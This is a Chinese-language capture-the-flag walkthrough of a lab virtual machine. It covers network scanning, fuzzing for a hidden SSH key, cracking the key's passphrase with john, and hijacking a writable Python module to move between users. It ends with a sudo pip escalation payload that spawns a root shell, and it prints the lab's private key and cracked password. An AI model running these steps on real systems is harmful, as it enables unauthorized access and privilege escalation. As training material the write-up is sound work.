信息收集
目标发现
将目标虚拟机和攻击机放在互通的网络环境中,最好同一网段。也就是桥接在一个网卡上。
攻击机上:
arp-scan -I eth0 -l
扫描本地eth0 寻找目标。
这里根据结果筛查得到地址为192.168.0.189
资产收集
使用nmap进行扫描 nmap -sV -Pn -sT -sC -p- 192.168.0.189
以下是扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 ed:ea:d9:d3:af:19:9c:8e:4e:0f:31:db:f2:5d:12:79 (RSA)
| 256 bf:9f:a9:93:c5:87:21:a3:6b:6f:9e:e6:87:61:f5:19 (ECDSA)
|_ 256 ac:18:ec:cc:35:c0:51:f5:6f:47:74:c3:01:95:b4:0f (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/~myfiles
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.48 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
目前为止,得到目标资产信息,包括80web服务以及,22 ssh服务。
ssh爆破比较费时,暂且放置,从web服务找寻突破口
从nmap扫描结果可以看到目标存在robots.txt文件,泄露一个地址,经过爆破尝试,需要替换myfiles爆破才能有结果。
使用wfuzz扫描(这里推荐一个攻击kali上自带的ffuf扫描速度巨快,下一步扫描使用。)
命令 wfuzz -c -w /home/dictionaries/SecLists-master/Discovery/Web-Content/directory-list-1.0.txt -u "http://192.168.0.189/~FUZZ/" --hc 404
命令意思 用directory-list-1.0.txt这个字典文件,替换FUZZ参数,并过滤结果中响应码为404的参数
得到结果http://192.168.0.189/~secret/页面存在。
这里暴露了一个用户名 icex64 ,并且内容中提到该目录下有一个ssh私匙文件
继续扫描,这里需要注意的是私匙文件是个隐藏文件(不是所有的私匙文件都加要加.只是这里加了),前面要加点。
继续扫描命令为ffuf -u http://192.168.0.189/~secret/.FUZZ -w /home/dictionaries/SecLists-master/Discovery/Web-Content/directory-list-1.0.txt -e .txt,.pub --mc 200 --fs 331
命令代表 用directory-list-1.0.txt字典文件,替换FUZZ 显示响应状态码为200,且响应包大小不是331的(因为我这里会出现一大堆文件干扰,可以选择性去掉)
扫描结果为http://192.168.0.189/~secret/.mysecret.txt
用base58解密可以获得一个如下数据(至于为什么是base58可以在https://gchq.github.io/上一个一个的试)看格式是ssh登陆密匙
-----BEGIN OPENSSH PRIVATE KEY-----
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
iUJ66WmRUN9EoVlkeCzQJwivI=
-----END OPENSSH PRIVATE KEY-----
将这个文件保存下来作为ssh密匙(文件名为ssh_key),使用ssh密匙登陆 但是只有这个还不行,还另外需要一个密码,密码可以通过这个保存下来的ssh密匙爆破出来。
权限获得
首先用ssh2john.py 将ssh_key更改为john可以识别的格式
命令:ssh2john ssh_key > ssh_txt
然后利用john对 ssh_txt进行爆破。还原密码 该字典文件应该是kali上自带的字典,如果没有可以去网上下载。
john --wordlist=/usr/share/wordlists/fasttrack.txt ssh_txt
这里就是得到密码 P@55w0rd!
注:如果后门一不小心找不到这个密码了 可以使用
john ssh_txt --show
进行查看,因为john解密后有缓存是没办法重新破解的除非把缓存文件删除。
用ssh使用密匙认证的方式登陆。这里需要注意,ssh_key作为密匙权限只能是700 如果不是使用命令chmod 700 ssh_key进行更改。如果权限不是700会报错无法ssh连接,权限更改完毕后
ssh命令登陆 ssh icex64@192.168.0.189 -i ssh_key
根据提示输入密码 P@55w0rd!
权限提升
ssh登陆成功后,可以看到权限很小只能以arsene身份无密码执行这个文件/home/arsene/heist.py
,并且这个文件的属性设置的是只有读取权限。
import webbrowser
print ("Its not yet ready to get in action")
webbrowser.open("https://empirecybersecurity.co.mz")
寻找webbrower这个包文件,看是否有可以利用的点。
查看权限,可读可写可执行。这里就有了操作空间。
更改webbrowser.py实现权限提升,提升到arsene权限。
命令:nano /usr/lib/python3.9/webbrowser.py
这样当运行/home/arsene/heist.py文件时就会自动加载webbrowser文件,并执行这句代码返回一个arsene权限的bash
执行命令sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
即可获得arsene的权限。
查看arsene的权限,可以以root权限无密码执行pip 利用pip进行提权。
依次执行以下命令即可获得root权限
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF